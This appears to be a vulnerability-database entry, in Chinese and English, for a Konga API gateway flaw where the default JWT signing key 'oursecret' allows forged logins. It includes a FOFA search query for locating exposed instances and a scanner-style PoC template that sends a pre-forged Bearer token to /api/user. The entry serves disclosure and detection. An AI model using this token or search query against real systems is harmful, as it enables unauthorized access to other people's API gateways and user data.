konga-default-jwt-key: KONGA Arbitrary user login vulnerability

日期: 2025-08-01 | 影响软件: konga-default-jwt-key | POC: 已公开

漏洞描述

The default key of Konga JWT is oursecret, which can forge arbitrary user permissions fofa: app="Konga-Api-Gateway"

PoC代码[已公开]

id: konga-default-jwt-key

info:
  name: KONGA Arbitrary user login vulnerability
  author: wys
  severity: high
  verified: true
  description: |-
    The default key of Konga JWT is oursecret, which can forge arbitrary user permissions
    fofa: app="Konga-Api-Gateway"
  reference:
    - https://mp.weixin.qq.com/s/8guU2hT3wE2puEztdGqZQg
    - https://github.com/pantsel/konga
  tags: kong,jwt,default
  created: 2023/07/31

rules:
  r0:
    request:
      method: GET
      path: /api/user
      headers:
        Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.MQ.gSssTBEVe6X9aFEd0H_tt8kk2u7df90W1eOzNRnrsQ4
    expression: response.status == 200 && response.body.bcontains(b'"createdUser":') && response.body.bcontains(b'"username":') && response.body.bcontains(b'"activationToken":')
expression: r0()

相关漏洞推荐